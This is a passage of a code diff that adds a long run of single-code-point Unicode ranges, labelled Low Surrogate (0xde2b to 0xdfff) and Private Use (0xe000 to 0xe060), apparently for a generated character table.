+ [0xde2b, 0xde2b], /* Low Surrogate */
+ [0xde2c, 0xde2c], /* Low Surrogate */
+ [0xde2d, 0xde2d], /* Low Surrogate */
+ [0xde2e, 0xde2e], /* Low Surrogate */
+ [0xde2f, 0xde2f], /* Low Surrogate */
+ [0xde30, 0xde30], /* Low Surrogate */
+ [0xde31, 0xde31], /* Low Surrogate */
+ [0xde32, 0xde32], /* Low Surrogate */
+ [0xde33, 0xde33], /* Low Surrogate */
+ [0xde34, 0xde34], /* Low Surrogate */
+ [0xde35, 0xde35], /* Low Surrogate */
+ [0xde36, 0xde36], /* Low Surrogate */
+ [0xde37, 0xde37], /* Low Surrogate */
+ [0xde38, 0xde38], /* Low Surrogate */
+ [0xde39, 0xde39], /* Low Surrogate */
+ [0xde3a, 0xde3a], /* Low Surrogate */
+ [0xde3b, 0xde3b], /* Low Surrogate */
+ [0xde3c, 0xde3c], /* Low Surrogate */
+ [0xde3d, 0xde3d], /* Low Surrogate */
+ [0xde3e, 0xde3e], /* Low Surrogate */
+ [0xde3f, 0xde3f], /* Low Surrogate */
+ [0xde40, 0xde40], /* Low Surrogate */
+ [0xde41, 0xde41], /* Low Surrogate */
+ [0xde42, 0xde42], /* Low Surrogate */
+ [0xde43, 0xde43], /* Low Surrogate */
+ [0xde44, 0xde44], /* Low Surrogate */
+ [0xde45, 0xde45], /* Low Surrogate */
+ [0xde46, 0xde46], /* Low Surrogate */
+ [0xde47, 0xde47], /* Low Surrogate */
+ [0xde48, 0xde48], /* Low Surrogate */
+ [0xde49, 0xde49], /* Low Surrogate */
+ [0xde4a, 0xde4a], /* Low Surrogate */
+ [0xde4b, 0xde4b], /* Low Surrogate */
+ [0xde4c, 0xde4c], /* Low Surrogate */
+ [0xde4d, 0xde4d], /* Low Surrogate */
+ [0xde4e, 0xde4e], /* Low Surrogate */
+ [0xde4f, 0xde4f], /* Low Surrogate */
+ [0xde50, 0xde50], /* Low Surrogate */
+ [0xde51, 0xde51], /* Low Surrogate */
+ [0xde52, 0xde52], /* Low Surrogate */
+ [0xde53, 0xde53], /* Low Surrogate */
+ [0xde54, 0xde54], /* Low Surrogate */
+ [0xde55, 0xde55], /* Low Surrogate */
+ [0xde56, 0xde56], /* Low Surrogate */
+ [0xde57, 0xde57], /* Low Surrogate */
+ [0xde58, 0xde58], /* Low Surrogate */
+ [0xde59, 0xde59], /* Low Surrogate */
+ [0xde5a, 0xde5a], /* Low Surrogate */
+ [0xde5b, 0xde5b], /* Low Surrogate */
+ [0xde5c, 0xde5c], /* Low Surrogate */
+ [0xde5d, 0xde5d], /* Low Surrogate */
+ [0xde5e, 0xde5e], /* Low Surrogate */
+ [0xde5f, 0xde5f], /* Low Surrogate */
+ [0xde60, 0xde60], /* Low Surrogate */
+ [0xde61, 0xde61], /* Low Surrogate */
+ [0xde62, 0xde62], /* Low Surrogate */
+ [0xde63, 0xde63], /* Low Surrogate */
+ [0xde64, 0xde64], /* Low Surrogate */
+ [0xde65, 0xde65], /* Low Surrogate */
+ [0xde66, 0xde66], /* Low Surrogate */
+ [0xde67, 0xde67], /* Low Surrogate */
+ [0xde68, 0xde68], /* Low Surrogate */
+ [0xde69, 0xde69], /* Low Surrogate */
+ [0xde6a, 0xde6a], /* Low Surrogate */
+ [0xde6b, 0xde6b], /* Low Surrogate */
+ [0xde6c, 0xde6c], /* Low Surrogate */
+ [0xde6d, 0xde6d], /* Low Surrogate */
+ [0xde6e, 0xde6e], /* Low Surrogate */
+ [0xde6f, 0xde6f], /* Low Surrogate */
+ [0xde70, 0xde70], /* Low Surrogate */
+ [0xde71, 0xde71], /* Low Surrogate */
+ [0xde72, 0xde72], /* Low Surrogate */
+ [0xde73, 0xde73], /* Low Surrogate */
+ [0xde74, 0xde74], /* Low Surrogate */
+ [0xde75, 0xde75], /* Low Surrogate */
+ [0xde76, 0xde76], /* Low Surrogate */
+ [0xde77, 0xde77], /* Low Surrogate */
+ [0xde78, 0xde78], /* Low Surrogate */
+ [0xde79, 0xde79], /* Low Surrogate */
+ [0xde7a, 0xde7a], /* Low Surrogate */
+ [0xde7b, 0xde7b], /* Low Surrogate */
+ [0xde7c, 0xde7c], /* Low Surrogate */
+ [0xde7d, 0xde7d], /* Low Surrogate */
+ [0xde7e, 0xde7e], /* Low Surrogate */
+ [0xde7f, 0xde7f], /* Low Surrogate */
+ [0xde80, 0xde80], /* Low Surrogate */
+ [0xde81, 0xde81], /* Low Surrogate */
+ [0xde82, 0xde82], /* Low Surrogate */
+ [0xde83, 0xde83], /* Low Surrogate */
+ [0xde84, 0xde84], /* Low Surrogate */
+ [0xde85, 0xde85], /* Low Surrogate */
+ [0xde86, 0xde86], /* Low Surrogate */
+ [0xde87, 0xde87], /* Low Surrogate */
+ [0xde88, 0xde88], /* Low Surrogate */
+ [0xde89, 0xde89], /* Low Surrogate */
+ [0xde8a, 0xde8a], /* Low Surrogate */
+ [0xde8b, 0xde8b], /* Low Surrogate */
+ [0xde8c, 0xde8c], /* Low Surrogate */
+ [0xde8d, 0xde8d], /* Low Surrogate */
+ [0xde8e, 0xde8e], /* Low Surrogate */
+ [0xde8f, 0xde8f], /* Low Surrogate */
+ [0xde90, 0xde90], /* Low Surrogate */
+ [0xde91, 0xde91], /* Low Surrogate */
+ [0xde92, 0xde92], /* Low Surrogate */
+ [0xde93, 0xde93], /* Low Surrogate */
+ [0xde94, 0xde94], /* Low Surrogate */
+ [0xde95, 0xde95], /* Low Surrogate */
+ [0xde96, 0xde96], /* Low Surrogate */
+ [0xde97, 0xde97], /* Low Surrogate */
+ [0xde98, 0xde98], /* Low Surrogate */
+ [0xde99, 0xde99], /* Low Surrogate */
+ [0xde9a, 0xde9a], /* Low Surrogate */
+ [0xde9b, 0xde9b], /* Low Surrogate */
+ [0xde9c, 0xde9c], /* Low Surrogate */
+ [0xde9d, 0xde9d], /* Low Surrogate */
+ [0xde9e, 0xde9e], /* Low Surrogate */
+ [0xde9f, 0xde9f], /* Low Surrogate */
+ [0xdea0, 0xdea0], /* Low Surrogate */
+ [0xdea1, 0xdea1], /* Low Surrogate */
+ [0xdea2, 0xdea2], /* Low Surrogate */
+ [0xdea3, 0xdea3], /* Low Surrogate */
+ [0xdea4, 0xdea4], /* Low Surrogate */
+ [0xdea5, 0xdea5], /* Low Surrogate */
+ [0xdea6, 0xdea6], /* Low Surrogate */
+ [0xdea7, 0xdea7], /* Low Surrogate */
+ [0xdea8, 0xdea8], /* Low Surrogate */
+ [0xdea9, 0xdea9], /* Low Surrogate */
+ [0xdeaa, 0xdeaa], /* Low Surrogate */
+ [0xdeab, 0xdeab], /* Low Surrogate */
+ [0xdeac, 0xdeac], /* Low Surrogate */
+ [0xdead, 0xdead], /* Low Surrogate */
+ [0xdeae, 0xdeae], /* Low Surrogate */
+ [0xdeaf, 0xdeaf], /* Low Surrogate */
+ [0xdeb0, 0xdeb0], /* Low Surrogate */
+ [0xdeb1, 0xdeb1], /* Low Surrogate */
+ [0xdeb2, 0xdeb2], /* Low Surrogate */
+ [0xdeb3, 0xdeb3], /* Low Surrogate */
+ [0xdeb4, 0xdeb4], /* Low Surrogate */
+ [0xdeb5, 0xdeb5], /* Low Surrogate */
+ [0xdeb6, 0xdeb6], /* Low Surrogate */
+ [0xdeb7, 0xdeb7], /* Low Surrogate */
+ [0xdeb8, 0xdeb8], /* Low Surrogate */
+ [0xdeb9, 0xdeb9], /* Low Surrogate */
+ [0xdeba, 0xdeba], /* Low Surrogate */
+ [0xdebb, 0xdebb], /* Low Surrogate */
+ [0xdebc, 0xdebc], /* Low Surrogate */
+ [0xdebd, 0xdebd], /* Low Surrogate */
+ [0xdebe, 0xdebe], /* Low Surrogate */
+ [0xdebf, 0xdebf], /* Low Surrogate */
+ [0xdec0, 0xdec0], /* Low Surrogate */
+ [0xdec1, 0xdec1], /* Low Surrogate */
+ [0xdec2, 0xdec2], /* Low Surrogate */
+ [0xdec3, 0xdec3], /* Low Surrogate */
+ [0xdec4, 0xdec4], /* Low Surrogate */
+ [0xdec5, 0xdec5], /* Low Surrogate */
+ [0xdec6, 0xdec6], /* Low Surrogate */
+ [0xdec7, 0xdec7], /* Low Surrogate */
+ [0xdec8, 0xdec8], /* Low Surrogate */
+ [0xdec9, 0xdec9], /* Low Surrogate */
+ [0xdeca, 0xdeca], /* Low Surrogate */
+ [0xdecb, 0xdecb], /* Low Surrogate */
+ [0xdecc, 0xdecc], /* Low Surrogate */
+ [0xdecd, 0xdecd], /* Low Surrogate */
+ [0xdece, 0xdece], /* Low Surrogate */
+ [0xdecf, 0xdecf], /* Low Surrogate */
+ [0xded0, 0xded0], /* Low Surrogate */
+ [0xded1, 0xded1], /* Low Surrogate */
+ [0xded2, 0xded2], /* Low Surrogate */
+ [0xded3, 0xded3], /* Low Surrogate */
+ [0xded4, 0xded4], /* Low Surrogate */
+ [0xded5, 0xded5], /* Low Surrogate */
+ [0xded6, 0xded6], /* Low Surrogate */
+ [0xded7, 0xded7], /* Low Surrogate */
+ [0xded8, 0xded8], /* Low Surrogate */
+ [0xded9, 0xded9], /* Low Surrogate */
+ [0xdeda, 0xdeda], /* Low Surrogate */
+ [0xdedb, 0xdedb], /* Low Surrogate */
+ [0xdedc, 0xdedc], /* Low Surrogate */
+ [0xdedd, 0xdedd], /* Low Surrogate */
+ [0xdede, 0xdede], /* Low Surrogate */
+ [0xdedf, 0xdedf], /* Low Surrogate */
+ [0xdee0, 0xdee0], /* Low Surrogate */
+ [0xdee1, 0xdee1], /* Low Surrogate */
+ [0xdee2, 0xdee2], /* Low Surrogate */
+ [0xdee3, 0xdee3], /* Low Surrogate */
+ [0xdee4, 0xdee4], /* Low Surrogate */
+ [0xdee5, 0xdee5], /* Low Surrogate */
+ [0xdee6, 0xdee6], /* Low Surrogate */
+ [0xdee7, 0xdee7], /* Low Surrogate */
+ [0xdee8, 0xdee8], /* Low Surrogate */
+ [0xdee9, 0xdee9], /* Low Surrogate */
+ [0xdeea, 0xdeea], /* Low Surrogate */
+ [0xdeeb, 0xdeeb], /* Low Surrogate */
+ [0xdeec, 0xdeec], /* Low Surrogate */
+ [0xdeed, 0xdeed], /* Low Surrogate */
+ [0xdeee, 0xdeee], /* Low Surrogate */
+ [0xdeef, 0xdeef], /* Low Surrogate */
+ [0xdef0, 0xdef0], /* Low Surrogate */
+ [0xdef1, 0xdef1], /* Low Surrogate */
+ [0xdef2, 0xdef2], /* Low Surrogate */
+ [0xdef3, 0xdef3], /* Low Surrogate */
+ [0xdef4, 0xdef4], /* Low Surrogate */
+ [0xdef5, 0xdef5], /* Low Surrogate */
+ [0xdef6, 0xdef6], /* Low Surrogate */
+ [0xdef7, 0xdef7], /* Low Surrogate */
+ [0xdef8, 0xdef8], /* Low Surrogate */
+ [0xdef9, 0xdef9], /* Low Surrogate */
+ [0xdefa, 0xdefa], /* Low Surrogate */
+ [0xdefb, 0xdefb], /* Low Surrogate */
+ [0xdefc, 0xdefc], /* Low Surrogate */
+ [0xdefd, 0xdefd], /* Low Surrogate */
+ [0xdefe, 0xdefe], /* Low Surrogate */
+ [0xdeff, 0xdeff], /* Low Surrogate */
+ [0xdf00, 0xdf00], /* Low Surrogate */
+ [0xdf01, 0xdf01], /* Low Surrogate */
+ [0xdf02, 0xdf02], /* Low Surrogate */
+ [0xdf03, 0xdf03], /* Low Surrogate */
+ [0xdf04, 0xdf04], /* Low Surrogate */
+ [0xdf05, 0xdf05], /* Low Surrogate */
+ [0xdf06, 0xdf06], /* Low Surrogate */
+ [0xdf07, 0xdf07], /* Low Surrogate */
+ [0xdf08, 0xdf08], /* Low Surrogate */
+ [0xdf09, 0xdf09], /* Low Surrogate */
+ [0xdf0a, 0xdf0a], /* Low Surrogate */
+ [0xdf0b, 0xdf0b], /* Low Surrogate */
+ [0xdf0c, 0xdf0c], /* Low Surrogate */
+ [0xdf0d, 0xdf0d], /* Low Surrogate */
+ [0xdf0e, 0xdf0e], /* Low Surrogate */
+ [0xdf0f, 0xdf0f], /* Low Surrogate */
+ [0xdf10, 0xdf10], /* Low Surrogate */
+ [0xdf11, 0xdf11], /* Low Surrogate */
+ [0xdf12, 0xdf12], /* Low Surrogate */
+ [0xdf13, 0xdf13], /* Low Surrogate */
+ [0xdf14, 0xdf14], /* Low Surrogate */
+ [0xdf15, 0xdf15], /* Low Surrogate */
+ [0xdf16, 0xdf16], /* Low Surrogate */
+ [0xdf17, 0xdf17], /* Low Surrogate */
+ [0xdf18, 0xdf18], /* Low Surrogate */
+ [0xdf19, 0xdf19], /* Low Surrogate */
+ [0xdf1a, 0xdf1a], /* Low Surrogate */
+ [0xdf1b, 0xdf1b], /* Low Surrogate */
+ [0xdf1c, 0xdf1c], /* Low Surrogate */
+ [0xdf1d, 0xdf1d], /* Low Surrogate */
+ [0xdf1e, 0xdf1e], /* Low Surrogate */
+ [0xdf1f, 0xdf1f], /* Low Surrogate */
+ [0xdf20, 0xdf20], /* Low Surrogate */
+ [0xdf21, 0xdf21], /* Low Surrogate */
+ [0xdf22, 0xdf22], /* Low Surrogate */
+ [0xdf23, 0xdf23], /* Low Surrogate */
+ [0xdf24, 0xdf24], /* Low Surrogate */
+ [0xdf25, 0xdf25], /* Low Surrogate */
+ [0xdf26, 0xdf26], /* Low Surrogate */
+ [0xdf27, 0xdf27], /* Low Surrogate */
+ [0xdf28, 0xdf28], /* Low Surrogate */
+ [0xdf29, 0xdf29], /* Low Surrogate */
+ [0xdf2a, 0xdf2a], /* Low Surrogate */
+ [0xdf2b, 0xdf2b], /* Low Surrogate */
+ [0xdf2c, 0xdf2c], /* Low Surrogate */
+ [0xdf2d, 0xdf2d], /* Low Surrogate */
+ [0xdf2e, 0xdf2e], /* Low Surrogate */
+ [0xdf2f, 0xdf2f], /* Low Surrogate */
+ [0xdf30, 0xdf30], /* Low Surrogate */
+ [0xdf31, 0xdf31], /* Low Surrogate */
+ [0xdf32, 0xdf32], /* Low Surrogate */
+ [0xdf33, 0xdf33], /* Low Surrogate */
+ [0xdf34, 0xdf34], /* Low Surrogate */
+ [0xdf35, 0xdf35], /* Low Surrogate */
+ [0xdf36, 0xdf36], /* Low Surrogate */
+ [0xdf37, 0xdf37], /* Low Surrogate */
+ [0xdf38, 0xdf38], /* Low Surrogate */
+ [0xdf39, 0xdf39], /* Low Surrogate */
+ [0xdf3a, 0xdf3a], /* Low Surrogate */
+ [0xdf3b, 0xdf3b], /* Low Surrogate */
+ [0xdf3c, 0xdf3c], /* Low Surrogate */
+ [0xdf3d, 0xdf3d], /* Low Surrogate */
+ [0xdf3e, 0xdf3e], /* Low Surrogate */
+ [0xdf3f, 0xdf3f], /* Low Surrogate */
+ [0xdf40, 0xdf40], /* Low Surrogate */
+ [0xdf41, 0xdf41], /* Low Surrogate */
+ [0xdf42, 0xdf42], /* Low Surrogate */
+ [0xdf43, 0xdf43], /* Low Surrogate */
+ [0xdf44, 0xdf44], /* Low Surrogate */
+ [0xdf45, 0xdf45], /* Low Surrogate */
+ [0xdf46, 0xdf46], /* Low Surrogate */
+ [0xdf47, 0xdf47], /* Low Surrogate */
+ [0xdf48, 0xdf48], /* Low Surrogate */
+ [0xdf49, 0xdf49], /* Low Surrogate */
+ [0xdf4a, 0xdf4a], /* Low Surrogate */
+ [0xdf4b, 0xdf4b], /* Low Surrogate */
+ [0xdf4c, 0xdf4c], /* Low Surrogate */
+ [0xdf4d, 0xdf4d], /* Low Surrogate */
+ [0xdf4e, 0xdf4e], /* Low Surrogate */
+ [0xdf4f, 0xdf4f], /* Low Surrogate */
+ [0xdf50, 0xdf50], /* Low Surrogate */
+ [0xdf51, 0xdf51], /* Low Surrogate */
+ [0xdf52, 0xdf52], /* Low Surrogate */
+ [0xdf53, 0xdf53], /* Low Surrogate */
+ [0xdf54, 0xdf54], /* Low Surrogate */
+ [0xdf55, 0xdf55], /* Low Surrogate */
+ [0xdf56, 0xdf56], /* Low Surrogate */
+ [0xdf57, 0xdf57], /* Low Surrogate */
+ [0xdf58, 0xdf58], /* Low Surrogate */
+ [0xdf59, 0xdf59], /* Low Surrogate */
+ [0xdf5a, 0xdf5a], /* Low Surrogate */
+ [0xdf5b, 0xdf5b], /* Low Surrogate */
+ [0xdf5c, 0xdf5c], /* Low Surrogate */
+ [0xdf5d, 0xdf5d], /* Low Surrogate */
+ [0xdf5e, 0xdf5e], /* Low Surrogate */
+ [0xdf5f, 0xdf5f], /* Low Surrogate */
+ [0xdf60, 0xdf60], /* Low Surrogate */
+ [0xdf61, 0xdf61], /* Low Surrogate */
+ [0xdf62, 0xdf62], /* Low Surrogate */
+ [0xdf63, 0xdf63], /* Low Surrogate */
+ [0xdf64, 0xdf64], /* Low Surrogate */
+ [0xdf65, 0xdf65], /* Low Surrogate */
+ [0xdf66, 0xdf66], /* Low Surrogate */
+ [0xdf67, 0xdf67], /* Low Surrogate */
+ [0xdf68, 0xdf68], /* Low Surrogate */
+ [0xdf69, 0xdf69], /* Low Surrogate */
+ [0xdf6a, 0xdf6a], /* Low Surrogate */
+ [0xdf6b, 0xdf6b], /* Low Surrogate */
+ [0xdf6c, 0xdf6c], /* Low Surrogate */
+ [0xdf6d, 0xdf6d], /* Low Surrogate */
+ [0xdf6e, 0xdf6e], /* Low Surrogate */
+ [0xdf6f, 0xdf6f], /* Low Surrogate */
+ [0xdf70, 0xdf70], /* Low Surrogate */
+ [0xdf71, 0xdf71], /* Low Surrogate */
+ [0xdf72, 0xdf72], /* Low Surrogate */
+ [0xdf73, 0xdf73], /* Low Surrogate */
+ [0xdf74, 0xdf74], /* Low Surrogate */
+ [0xdf75, 0xdf75], /* Low Surrogate */
+ [0xdf76, 0xdf76], /* Low Surrogate */
+ [0xdf77, 0xdf77], /* Low Surrogate */
+ [0xdf78, 0xdf78], /* Low Surrogate */
+ [0xdf79, 0xdf79], /* Low Surrogate */
+ [0xdf7a, 0xdf7a], /* Low Surrogate */
+ [0xdf7b, 0xdf7b], /* Low Surrogate */
+ [0xdf7c, 0xdf7c], /* Low Surrogate */
+ [0xdf7d, 0xdf7d], /* Low Surrogate */
+ [0xdf7e, 0xdf7e], /* Low Surrogate */
+ [0xdf7f, 0xdf7f], /* Low Surrogate */
+ [0xdf80, 0xdf80], /* Low Surrogate */
+ [0xdf81, 0xdf81], /* Low Surrogate */
+ [0xdf82, 0xdf82], /* Low Surrogate */
+ [0xdf83, 0xdf83], /* Low Surrogate */
+ [0xdf84, 0xdf84], /* Low Surrogate */
+ [0xdf85, 0xdf85], /* Low Surrogate */
+ [0xdf86, 0xdf86], /* Low Surrogate */
+ [0xdf87, 0xdf87], /* Low Surrogate */
+ [0xdf88, 0xdf88], /* Low Surrogate */
+ [0xdf89, 0xdf89], /* Low Surrogate */
+ [0xdf8a, 0xdf8a], /* Low Surrogate */
+ [0xdf8b, 0xdf8b], /* Low Surrogate */
+ [0xdf8c, 0xdf8c], /* Low Surrogate */
+ [0xdf8d, 0xdf8d], /* Low Surrogate */
+ [0xdf8e, 0xdf8e], /* Low Surrogate */
+ [0xdf8f, 0xdf8f], /* Low Surrogate */
+ [0xdf90, 0xdf90], /* Low Surrogate */
+ [0xdf91, 0xdf91], /* Low Surrogate */
+ [0xdf92, 0xdf92], /* Low Surrogate */
+ [0xdf93, 0xdf93], /* Low Surrogate */
+ [0xdf94, 0xdf94], /* Low Surrogate */
+ [0xdf95, 0xdf95], /* Low Surrogate */
+ [0xdf96, 0xdf96], /* Low Surrogate */
+ [0xdf97, 0xdf97], /* Low Surrogate */
+ [0xdf98, 0xdf98], /* Low Surrogate */
+ [0xdf99, 0xdf99], /* Low Surrogate */
+ [0xdf9a, 0xdf9a], /* Low Surrogate */
+ [0xdf9b, 0xdf9b], /* Low Surrogate */
+ [0xdf9c, 0xdf9c], /* Low Surrogate */
+ [0xdf9d, 0xdf9d], /* Low Surrogate */
+ [0xdf9e, 0xdf9e], /* Low Surrogate */
+ [0xdf9f, 0xdf9f], /* Low Surrogate */
+ [0xdfa0, 0xdfa0], /* Low Surrogate */
+ [0xdfa1, 0xdfa1], /* Low Surrogate */
+ [0xdfa2, 0xdfa2], /* Low Surrogate */
+ [0xdfa3, 0xdfa3], /* Low Surrogate */
+ [0xdfa4, 0xdfa4], /* Low Surrogate */
+ [0xdfa5, 0xdfa5], /* Low Surrogate */
+ [0xdfa6, 0xdfa6], /* Low Surrogate */
+ [0xdfa7, 0xdfa7], /* Low Surrogate */
+ [0xdfa8, 0xdfa8], /* Low Surrogate */
+ [0xdfa9, 0xdfa9], /* Low Surrogate */
+ [0xdfaa, 0xdfaa], /* Low Surrogate */
+ [0xdfab, 0xdfab], /* Low Surrogate */
+ [0xdfac, 0xdfac], /* Low Surrogate */
+ [0xdfad, 0xdfad], /* Low Surrogate */
+ [0xdfae, 0xdfae], /* Low Surrogate */
+ [0xdfaf, 0xdfaf], /* Low Surrogate */
+ [0xdfb0, 0xdfb0], /* Low Surrogate */
+ [0xdfb1, 0xdfb1], /* Low Surrogate */
+ [0xdfb2, 0xdfb2], /* Low Surrogate */
+ [0xdfb3, 0xdfb3], /* Low Surrogate */
+ [0xdfb4, 0xdfb4], /* Low Surrogate */
+ [0xdfb5, 0xdfb5], /* Low Surrogate */
+ [0xdfb6, 0xdfb6], /* Low Surrogate */
+ [0xdfb7, 0xdfb7], /* Low Surrogate */
+ [0xdfb8, 0xdfb8], /* Low Surrogate */
+ [0xdfb9, 0xdfb9], /* Low Surrogate */
+ [0xdfba, 0xdfba], /* Low Surrogate */
+ [0xdfbb, 0xdfbb], /* Low Surrogate */
+ [0xdfbc, 0xdfbc], /* Low Surrogate */
+ [0xdfbd, 0xdfbd], /* Low Surrogate */
+ [0xdfbe, 0xdfbe], /* Low Surrogate */
+ [0xdfbf, 0xdfbf], /* Low Surrogate */
+ [0xdfc0, 0xdfc0], /* Low Surrogate */
+ [0xdfc1, 0xdfc1], /* Low Surrogate */
+ [0xdfc2, 0xdfc2], /* Low Surrogate */
+ [0xdfc3, 0xdfc3], /* Low Surrogate */
+ [0xdfc4, 0xdfc4], /* Low Surrogate */
+ [0xdfc5, 0xdfc5], /* Low Surrogate */
+ [0xdfc6, 0xdfc6], /* Low Surrogate */
+ [0xdfc7, 0xdfc7], /* Low Surrogate */
+ [0xdfc8, 0xdfc8], /* Low Surrogate */
+ [0xdfc9, 0xdfc9], /* Low Surrogate */
+ [0xdfca, 0xdfca], /* Low Surrogate */
+ [0xdfcb, 0xdfcb], /* Low Surrogate */
+ [0xdfcc, 0xdfcc], /* Low Surrogate */
+ [0xdfcd, 0xdfcd], /* Low Surrogate */
+ [0xdfce, 0xdfce], /* Low Surrogate */
+ [0xdfcf, 0xdfcf], /* Low Surrogate */
+ [0xdfd0, 0xdfd0], /* Low Surrogate */
+ [0xdfd1, 0xdfd1], /* Low Surrogate */
+ [0xdfd2, 0xdfd2], /* Low Surrogate */
+ [0xdfd3, 0xdfd3], /* Low Surrogate */
+ [0xdfd4, 0xdfd4], /* Low Surrogate */
+ [0xdfd5, 0xdfd5], /* Low Surrogate */
+ [0xdfd6, 0xdfd6], /* Low Surrogate */
+ [0xdfd7, 0xdfd7], /* Low Surrogate */
+ [0xdfd8, 0xdfd8], /* Low Surrogate */
+ [0xdfd9, 0xdfd9], /* Low Surrogate */
+ [0xdfda, 0xdfda], /* Low Surrogate */
+ [0xdfdb, 0xdfdb], /* Low Surrogate */
+ [0xdfdc, 0xdfdc], /* Low Surrogate */
+ [0xdfdd, 0xdfdd], /* Low Surrogate */
+ [0xdfde, 0xdfde], /* Low Surrogate */
+ [0xdfdf, 0xdfdf], /* Low Surrogate */
+ [0xdfe0, 0xdfe0], /* Low Surrogate */
+ [0xdfe1, 0xdfe1], /* Low Surrogate */
+ [0xdfe2, 0xdfe2], /* Low Surrogate */
+ [0xdfe3, 0xdfe3], /* Low Surrogate */
+ [0xdfe4, 0xdfe4], /* Low Surrogate */
+ [0xdfe5, 0xdfe5], /* Low Surrogate */
+ [0xdfe6, 0xdfe6], /* Low Surrogate */
+ [0xdfe7, 0xdfe7], /* Low Surrogate */
+ [0xdfe8, 0xdfe8], /* Low Surrogate */
+ [0xdfe9, 0xdfe9], /* Low Surrogate */
+ [0xdfea, 0xdfea], /* Low Surrogate */
+ [0xdfeb, 0xdfeb], /* Low Surrogate */
+ [0xdfec, 0xdfec], /* Low Surrogate */
+ [0xdfed, 0xdfed], /* Low Surrogate */
+ [0xdfee, 0xdfee], /* Low Surrogate */
+ [0xdfef, 0xdfef], /* Low Surrogate */
+ [0xdff0, 0xdff0], /* Low Surrogate */
+ [0xdff1, 0xdff1], /* Low Surrogate */
+ [0xdff2, 0xdff2], /* Low Surrogate */
+ [0xdff3, 0xdff3], /* Low Surrogate */
+ [0xdff4, 0xdff4], /* Low Surrogate */
+ [0xdff5, 0xdff5], /* Low Surrogate */
+ [0xdff6, 0xdff6], /* Low Surrogate */
+ [0xdff7, 0xdff7], /* Low Surrogate */
+ [0xdff8, 0xdff8], /* Low Surrogate */
+ [0xdff9, 0xdff9], /* Low Surrogate */
+ [0xdffa, 0xdffa], /* Low Surrogate */
+ [0xdffb, 0xdffb], /* Low Surrogate */
+ [0xdffc, 0xdffc], /* Low Surrogate */
+ [0xdffd, 0xdffd], /* Low Surrogate */
+ [0xdffe, 0xdffe], /* Low Surrogate */
+ [0xdfff, 0xdfff], /* Low Surrogate */
+ [0xe000, 0xe000], /* Private Use */
+ [0xe001, 0xe001], /* Private Use */
+ [0xe002, 0xe002], /* Private Use */
+ [0xe003, 0xe003], /* Private Use */
+ [0xe004, 0xe004], /* Private Use */
+ [0xe005, 0xe005], /* Private Use */
+ [0xe006, 0xe006], /* Private Use */
+ [0xe007, 0xe007], /* Private Use */
+ [0xe008, 0xe008], /* Private Use */
+ [0xe009, 0xe009], /* Private Use */
+ [0xe00a, 0xe00a], /* Private Use */
+ [0xe00b, 0xe00b], /* Private Use */
+ [0xe00c, 0xe00c], /* Private Use */
+ [0xe00d, 0xe00d], /* Private Use */
+ [0xe00e, 0xe00e], /* Private Use */
+ [0xe00f, 0xe00f], /* Private Use */
+ [0xe010, 0xe010], /* Private Use */
+ [0xe011, 0xe011], /* Private Use */
+ [0xe012, 0xe012], /* Private Use */
+ [0xe013, 0xe013], /* Private Use */
+ [0xe014, 0xe014], /* Private Use */
+ [0xe015, 0xe015], /* Private Use */
+ [0xe016, 0xe016], /* Private Use */
+ [0xe017, 0xe017], /* Private Use */
+ [0xe018, 0xe018], /* Private Use */
+ [0xe019, 0xe019], /* Private Use */
+ [0xe01a, 0xe01a], /* Private Use */
+ [0xe01b, 0xe01b], /* Private Use */
+ [0xe01c, 0xe01c], /* Private Use */
+ [0xe01d, 0xe01d], /* Private Use */
+ [0xe01e, 0xe01e], /* Private Use */
+ [0xe01f, 0xe01f], /* Private Use */
+ [0xe020, 0xe020], /* Private Use */
+ [0xe021, 0xe021], /* Private Use */
+ [0xe022, 0xe022], /* Private Use */
+ [0xe023, 0xe023], /* Private Use */
+ [0xe024, 0xe024], /* Private Use */
+ [0xe025, 0xe025], /* Private Use */
+ [0xe026, 0xe026], /* Private Use */
+ [0xe027, 0xe027], /* Private Use */
+ [0xe028, 0xe028], /* Private Use */
+ [0xe029, 0xe029], /* Private Use */
+ [0xe02a, 0xe02a], /* Private Use */
+ [0xe02b, 0xe02b], /* Private Use */
+ [0xe02c, 0xe02c], /* Private Use */
+ [0xe02d, 0xe02d], /* Private Use */
+ [0xe02e, 0xe02e], /* Private Use */
+ [0xe02f, 0xe02f], /* Private Use */
+ [0xe030, 0xe030], /* Private Use */
+ [0xe031, 0xe031], /* Private Use */
+ [0xe032, 0xe032], /* Private Use */
+ [0xe033, 0xe033], /* Private Use */
+ [0xe034, 0xe034], /* Private Use */
+ [0xe035, 0xe035], /* Private Use */
+ [0xe036, 0xe036], /* Private Use */
+ [0xe037, 0xe037], /* Private Use */
+ [0xe038, 0xe038], /* Private Use */
+ [0xe039, 0xe039], /* Private Use */
+ [0xe03a, 0xe03a], /* Private Use */
+ [0xe03b, 0xe03b], /* Private Use */
+ [0xe03c, 0xe03c], /* Private Use */
+ [0xe03d, 0xe03d], /* Private Use */
+ [0xe03e, 0xe03e], /* Private Use */
+ [0xe03f, 0xe03f], /* Private Use */
+ [0xe040, 0xe040], /* Private Use */
+ [0xe041, 0xe041], /* Private Use */
+ [0xe042, 0xe042], /* Private Use */
+ [0xe043, 0xe043], /* Private Use */
+ [0xe044, 0xe044], /* Private Use */
+ [0xe045, 0xe045], /* Private Use */
+ [0xe046, 0xe046], /* Private Use */
+ [0xe047, 0xe047], /* Private Use */
+ [0xe048, 0xe048], /* Private Use */
+ [0xe049, 0xe049], /* Private Use */
+ [0xe04a, 0xe04a], /* Private Use */
+ [0xe04b, 0xe04b], /* Private Use */
+ [0xe04c, 0xe04c], /* Private Use */
+ [0xe04d, 0xe04d], /* Private Use */
+ [0xe04e, 0xe04e], /* Private Use */
+ [0xe04f, 0xe04f], /* Private Use */
+ [0xe050, 0xe050], /* Private Use */
+ [0xe051, 0xe051], /* Private Use */
+ [0xe052, 0xe052], /* Private Use */
+ [0xe053, 0xe053], /* Private Use */
+ [0xe054, 0xe054], /* Private Use */
+ [0xe055, 0xe055], /* Private Use */
+ [0xe056, 0xe056], /* Private Use */
+ [0xe057, 0xe057], /* Private Use */
+ [0xe058, 0xe058], /* Private Use */
+ [0xe059, 0xe059], /* Private Use */
+ [0xe05a, 0xe05a], /* Private Use */
+ [0xe05b, 0xe05b], /* Private Use */
+ [0xe05c, 0xe05c], /* Private Use */
+ [0xe05d, 0xe05d], /* Private Use */
+ [0xe05e, 0xe05e], /* Private Use */
+ [0xe05f, 0xe05f], /* Private Use */
+ [0xe060, 0xe060], /* Private Use */
